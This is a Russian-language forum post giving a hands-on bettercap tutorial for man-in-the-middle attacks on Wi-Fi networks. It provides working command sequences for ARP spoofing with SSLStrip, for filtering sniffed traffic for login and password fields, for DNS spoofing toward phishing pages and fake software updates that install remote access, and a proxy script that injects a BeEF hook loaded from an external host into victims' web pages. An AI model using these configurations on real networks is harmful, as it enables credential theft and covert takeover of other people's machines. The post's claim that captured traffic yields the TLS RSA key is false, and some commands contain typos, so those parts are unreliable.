Bettercap 2.* атака на wifi сети - живые mitm атаки!

MR_smoker

Арбитр
АРБИТРАЖ
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
ЮБИЛЕЙНАЯ ЛЕНТА

MR_smoker

Арбитр
АРБИТРАЖ
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
20 Июн 2018
Сообщения
1,734
Реакции
632
Репутация
39
Род занятий

Отрисовка документов

Содержание:
  1. Предисловие
  2. "Transparent proxy" (Прозрачный прокси) - пропускаем трафик внутри подсети WLAN/LAN через свою машину
  3. "Interception of authorization data" - перехват авторизационных данных
  4. "DNS Spoofing" - Или, "Отравление DNS"
  5. Proxy JS Injection (XSS)
  6. Заключение
Предисловие

Продолжим цикл статей по "bettercap 2.*..." инструкция по проведению MITM атак в WiFi сетях. Использую bettercap 2.* и некоторые другие инструменты.

Все действия будут проводиться на борту ParrotOS. Parrot - практически тот же Kali, только немного радушнее, хотя в некоторых моментах он так же бесит. В качестве "тестовой лаборатории" задействованы личные тестовые машины и аппараты:
  • Ноутбук с установленным Parrot в среде виртуальной машины VMware
  • ПК с установленной Windows 7. По моему мнению - это удачная ветка Windows, хотя могу ошибаться, но привык к ней больше, чем к Linux
  • Смартфон Sony Xperia, OS Android 8.0
  • Планшет Galaxy Tab, OS Android 8.1
  • Собственная-личная WiFi сеть
Так что никаких неправомерных действий которые каким либо образом будут нарушать законы УК РФ в ходе написание статьи нет.

"Transparent proxy" (Прозрачный прокси) - пропускаем трафик внутри подсети WLAN/LAN через свою машину

Наверное, основная цель, с которой создавался bettercap, это перехват и изменение "на лету" данных в локальных сетях. С этой задачей bettercap справляется. Применение техники внедрения JS кода, DNS отравления и техник фаззинга только расширяют способности bettercap. Простейший способ перехватить трафик в локальной сети - пропустить трафик через машину. Таким образом мы будем не только прослушивать весь трафик, но и откроем способность к манипуляциям над перехваченным трафиком.

Сделаем из своей машины "прозрачный прокси (transparent proxy)" и пустим трафик через эту машину. Открываем терминал и с правами суперпользователя запускаем bettercap:
Код:
sudo bettercap




И настраиваем bettercap, чтобы он работал как "прозрачный прокси (transparent proxy)":
Код:
set net.sniff.output /home/centr/sniff_date.cap
set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets 192.168.0.2/24
Теперь немного подробней о внесённых настройках:
  • set net.sniff.output /home/centr/sniff_date2.cap - Здесь мы указываем место расположения файла ".cap/.pcap", в который будут сохранятся перехваченные данные.
  • set http.proxy.sslstrip true - Активируем опцию "SSLStrip" в модуле HTTP Proxy, эта опция будет пытаться перекинуть трафик с HTTPS\SSL(защищёного|зашифрованного) протокола на открытый не защищённый HTTP.Хотя техника SSLStrip, уже практически не работает, но всё же бывает и пробивает.В основном когда на машине не обновлённый софт.
  • set net.sniff.verbose false - Отключаем вербальность модуля "net.sniff"(встроенный снифер), для того что бы он не фильтровал трафик и перехватывал весь трафик.
  • set arp.spoof.targets 192.168.0.2/24 - Указываем диапазон IP адресов которые необходимо будет "спуфить"(отравлять), можно указать только один IP,mac, или же список.
    Подсмотреть доступные цели находящиеся в этой же подсети можно используя тот же bettercap, точнее не выходя из него:
    Код:
    net.recon on
    net.probe on
    net.show
    net.probe off

    • net.recon on - Запускаем обнаружение сетевых хостов.
      Хотя по умолчанию этот модуль должен быть включён, но много раз замечал что при запуске он выключен.
    • net.probe on - Запускаем зондирование новых хостов в сети.
      Этот модуль отправляет фиктивные пакеты каждому возможному IP в подсети.
    • net.show - Даём команду отобразить список кэша обнаруженных хостов.
    • net.probe off - Выключаем модуль активного зондирования.
И запускаем модули:
Код:
arp.spoof on
http.proxy on
net.sniff on
  • arp.spoof on - Запускаем "отравления", этот модуль будет атаковать указанную цель.
  • http.proxy on - Запускаем прокси, этот модуль создать прокси сервер через который и будет пускаться весь трафик.
  • net.sniff on - Запускаем снифер, этот модуль будет перехватывать и прослушивать весь трафик.




Таким образом, мы пустили весь проходящий в нашей подсети трафик через нашу машину. При этом весь перехваченный трафик будет сохранятся в указанный нами ранее файл ".cap". Проанализировать сохранённый в этот файл трафик можно через тот же "Wireshark" или другой сетевой пакетный анализатор.





Можно слушать трафик без использования модуля "HTTP Proxy", а так как в большинстве случаев "SSLStrip" не работает, то это по сути в данном случае практически ни чего и не изменит, трафик так же будет прослушиваться, но его нельзя будет изменить.

Так же в bettercap входит пакет "HTTPS Proxy" - этот модуль аналогичен "HTTP proxy", но "работает" он с защищённым трафиком. Использование "HTTPS Proxy"- не продуктивно, так как при попытке открыть страницу с протоколом HTTPS отображается предупреждение о попытке перехвата трафика. В лучшем случае будет указана небольшая ссылка для дальнейшего перехода на страницу:





А такие гиганты как Google, Yandex, Mail, Vk, Facebook ..., просто не пускают дальше этой страницы. Эти ресурсы обрубают подключение, так что этот модуль необходимо уметь правильно применять.

"Interception of authorization data" - перехват авторизационных данных

В случае простого перехвата авторизационных данных, то есть данных используемых для авторизации каких либо интернет ресурсов, можно обойтись без модуля "HTTP Proxy".

Для работы с незащищёнными протоколами, которые передают данные для авторизации в открытом виде можно использовать опцию фильтрации по регулярному выражению "set net.sniff.regexp" модуля "net.sniff". Таким образом количество сохранённых данных можно уменьшить до необходимого минимума. Эта опция просто исключит всё лишние.

Допустим - данные для авторизации, логин и пароль, которые используются для авторизации на каком-либо веб ресурсе, использующем незащищённый протокол HTTP, который передаёт данные в открытом виде и методом POST.

К примеру, запрос следующего вида:
Код:
POST /users/auth HTTP/1.1
Host: ko*nt*i-site.ru
Referer: http://ko*nt*i-site.ru
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=*************.......
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xh********............
Content-Length: 63
Cache-Control: max-age=0
Origin: http://ko*nt*i-site.ru
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (*****...........
Connection: keep-alive

login=[email protected]&passw=(usedpassword)&back_url=/users/add
Интересующие нас данные передаются в самой нижней строке:
Код:
login=[email protected]&passw=(usedpassword)&back_url=/users/add
Ключевым словом в регулярном выражение для поиска пакета с этими данными будет либо: "login=", либо: "passw=".
То есть указав какое либо из этих слов в фильтре модуля "net.sniff", bettercap будет отображать и сохранять только содержащие эти строки пакеты.

Вот так будут отображаться данные в bettercap без фильтра:





Вот так будут отображаться данные с фильтром:




Код:
set net.sniff.output /home/centr/sniff_date.cap
set net.sniff.verbose true
set net.sniff.regexp '.*login=.+'
set arp.spoof.targets 192.168.0.2/24

arp.spoof on
net.sniff on

#Для использования модуля прокси расскоментируйте нижние строки
#set http.proxy.sslstrip true
#Для более читабельного отображения лога в bettercap если используется модуль HTTP proxy.
#set http.proxy.script /usr/share/bettercap/caplets/http-req-dump/http-req-dump.js
#http.proxy on
  • set net.sniff.verbose true - Изменяем вербальность модуля снифера, для того что бы он не перехватывал непонятные пакеты.
  • set net.sniff.regexp '.*login=.+' - Устанавливаем слово в фильтре модуля "net.sniff" для регулярного выражения.
Остальное же остаётся без изменений.

Будет уместно сказать, что не используя эти опции для перехвата трафика, а перехватывая весь трафик целиком, даёт возможность вычислить RSA ключ используемый TLS\SSL для шифрования трафика и декодировать весь зашифрованный трафик.

"DNS Spoofing" - или "отравление DNS"

Это один из наиболее продуктивных методов MITM атак. Этот метод даёт возможность не только добыть данные для авторизации на интернет ресурсе, но и получить полноценный удалённый доступ.

Хост, получив доменное имя на которое необходимо попасть, обращается к DNS серверу, который в свою очередь указывает IP адрес, к которому привязано это доменное имя. Таким образом хост получает адрес, по которому сможет найти указанное доменное имя.

Суть метода в подмене IP адреса, к которому привязано доменое имя. То есть атакующий выставляет себя в качестве DNS сервера и отправляет необходимые IP адреса, а в случаях необходимости меняет IP адреса на нужные. Таким образом хост, запросивший IP адрес к доменному имени, получает поддельный IP адрес и, будучи уверенным что IP адрес верный, обращается к нему и попадает на заведомо ложный сервер.

Фишинг атака с отравлением DNS сервера имеет наибольшую продуктивность, так как, переходя на поддельную страницу веб ресурса, человек видит правильное доменное имя, которое ничем не отличается от настоящего, но сервер уже у атакующего. Находится на этом сервере всё что угодно. Человек вводит свои авторизационные данные и эти данные попадают к атакующему в чистом и правильном виде. Если фишинговая страница сделана правильно, с проверкой авторизационных данных и автоматической переадресацией на уже авторизированную страницу, то правильность данных 100% и никаких подозрений у атакуемого.

Таким же образом можно заставить "обновить" свой софт, тем самым заразить удалённый хост и получить полноценный удалённый доступ. Это тоже будет фишинговая атака с отравлением DNS сервера и в основном она будет рассчитана на элементы СИ, но можно обойтись и без участия действий человека, на которого проводится атака.

Где то на форуме попадалась на глаза статья на тему DNS спуфинга и фишингового обновления программы notepad++. Метод интересный и точно заслуживает место на вооружении.

Суть в подделке сервера путём DNS отравления, к которому обращается программа за обновлениями. Программа, запросив IP адрес, к которому привязано доменное имя, получает IP адрес сервера атакующего, на котором уже находятся заражённые файлы. Программа пологая что обновления появились, сама их скачивает и устанавливает на атакуемый хост без участия человеского фактора. Таким образом заражение удалённого хоста происходит незаметно, а атакующий имеет полноценный удалённый доступ. Конечно же если цель атакующего была именно удалённый доступ.

В DNS отравление минимум задействовано два модуля, это "dns.spoof" и "arp.spoof".Так же есть дополнительный модуль "dhcp6.spoof", который честно говоря не всегда ведёт себя адекватно, но в некоторых случаях просто необходим.

Допустим, необходимо подменить сервер, к которому будет обращаться атакуемый хост по доменному серверу "vulns.so" и "vuln2.lo", настройки модулей будут такими:
Код:
set arp.spoof.targets 192.168.0.13
set dns.spoof.address 192.168.0.11
set dns.spoof.domains vulns.so, vuln2.lo
#Если необходимо подменить ip адрес ко всем доменным именам к которым только будет обращаться атакуемый хост.
#set dns.spoof.all true
set dhcp6.spoof.domains vulns.so, vuln2.lo
#Следующая опция не обязательна
#set dns.spoof.hosts /home/centr/hosts
  • set arp.spoof.targets 192.168.0.13 - Здесь указываем IP\Mac адрес атакуемого хоста. Возможно указать несколько адресов разделяя их запятой, или же диапазон ip адресов подсети: - 192.168.0.2/24, 192.168.0.1-192.168.0.255.
  • set dns.spoof.address 192.168.0.11 - Здесь указываем IP адрес сервера на который будут переадресованы указанные доменные имена, если же цель атаки в подмене списка доменных имен и что бы каждое имя обращалось к определённому адресу, то лучше использовать опцию "dns.spoof.hosts".
  • set dns.spoof.hosts /home/centr/hosts - Можно указать путь к файлу hosts, в котором будут прописаны все маршруты для подмены.К примеру содержание такого файла для подмены ip адресов к доменным именам vulns.so,vuln2.lo:
    Код:
    192.168.0.10 vulns.so
    192.168.0.11 vuln2.lo
  • set dns.spoof.all true - Для отправки на необходимый сервер при обращение к любому доменному имени, используем эту опцию.
  • set dns.spoof.domains vulns.so, vuln2.lo - Здесь указываем доменные имена ip адреса к которым нужно изменить.
  • set dhcp6.spoof.domains vulns.so, vuln2.lo - То же что и выше, но в некоторых случаях можно обойтись без этой опции и этого модуля вовсе
Запускаем задействованные модули:
Код:
dns.spoof on
#Если задействован модуль "dhcp6.spoof".
dhcp6.spoof on
arp.spoof on
  • dns.spoof on - Запускаем модуль DNS отравления, который и будет выступа в качестве DNS сервера и выдавать необходимые адреса.
  • dhcp6.spoof on - Если задействован модуль, то запускаем его.
  • arp.spoof on - Запускаем модуль который будет отравлять атакуемый хост или хосты.












Конечно HTTP\HTTPS сервер уже должен быть запущен. В bettercap для этих целей предустановлены модули "http.server"\"https.server".

Proxy JS Injection (XSS)

Внедрение своего JS кода в страницы веб ресурсов всегда открывает широкие возможности. Тут можно сделать многое, начиная от простейшего кейлогера и заканчивая загрузкой и выполнением произвольного кода на удалённой машине.

На страницах github гуляет много вариаций метода "SSLStrip", которые пригодны для использования в bettercap используя "js injection" в mitm атаках.

На мой взгляд, продуктивная атака происходит, когда на удалённых машинах просматривают фильмы с веб ресурсов использующих незащищённый http протокол. В это время можно без труда подгрузить скрипт фреймворка "beef-xss" и, используя этот фреймворк, загрузить свой исполняемый файл на удалённую машину.

Beef-xss в связке с bettercap повышает возможность получить удалённый доступ и закрепится на удалённой машине. Возможностей, которые открывает этот фрэймворк, очень много. Многие работают только на хостах с необновлённым, устаревшим софтом, но всё же остаются инструменты работающие на машинах даже с новым программным обеспечением.

Для внедрения своего кода js на удалённых машинах достаточно использования двух модулей bettercap. Это модули "http.proxy" и "arp.spoof", остальное в этой атаки не требуется. Но в связке с другими модулями, возможно добиться "псевдо" обхода ssl.

Рассмотрим самую простую вариацию внедрения скрипта от фрэймворка beef-xss.На мой взгляд это самый простой способ получить больше возможностей для проведение атаки на удалённый хост.

Настройки bettercap для проведение этой атаки, будут заключаться в двух опциях, по одной опции каждого задействованого модуля:
Код:
set http.proxy.script beef-inject.js
set arp.spoof.targets 192.168.0.12-13
  • set http.proxy.script beef-inject.js - Подцепляем свой JS скрипт, который в свою очередь и будет внедрять ссылку наскрипт в нужное место на страницах просматриваемых в реальном времени на удалённых машинах.
    Код:
    function onLoad() {
    log('BeefInject loaded.'); log('targets: ' + env['arp.spoof.targets']);
    }

    function onResponse(req, res) {
    if (res.ContentType.indexOf('text/html') == 0) {
    var body = res.ReadBody();
    if (body.indexOf('</head>') != -1) {
    res.Body = body.replace('</head>', '<script type="text/javascript" src="

    Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

    "></script></head>');
    }
    }
    }
  • set arp.spoof.targets 192.168.0.12-13 - Указываем хосты которые необходимо атаковать, так же как и в других случаях возможно указать несколько или ip диапазон адресов для атаки на подсеть.
После запускаем модуль прокси и модуль отравления:
Код:
http.proxy on
arp.proxy on
На удалённых хостах внедряется ссылка на js скрипт фреймворка beef-xss и мы открываем для себя широкий круг опций для проведения дальнейшей атаки.









На самом деле, это только сотая часть из тех операций, которые даёт техника внедрения JS кода. Об этом, возможно, напишу в следующих статьях более подробно.

Заключение

MITM атаки ещё живы, и атаковать используя bettercap сможет каждый. Такие атаки в большом количестве случаев дают лучший результат, но главная уязвимость - это человек. Так что какой бы не был обновлённый софт , какие бы антивирусы и фаерволы не стояли, всегда присутствует надежда на фишинговые атаки.

Ещё хочется сказать, что софта, который само-обновляется, без каких либо запросов на установку или обновление, возможно который заранее настроен или используется для поддержания самых свежего софта на машине, много и провести MITM атаку с фишинговым обновлением для такого софта, одно удовольствие.
 
Сверху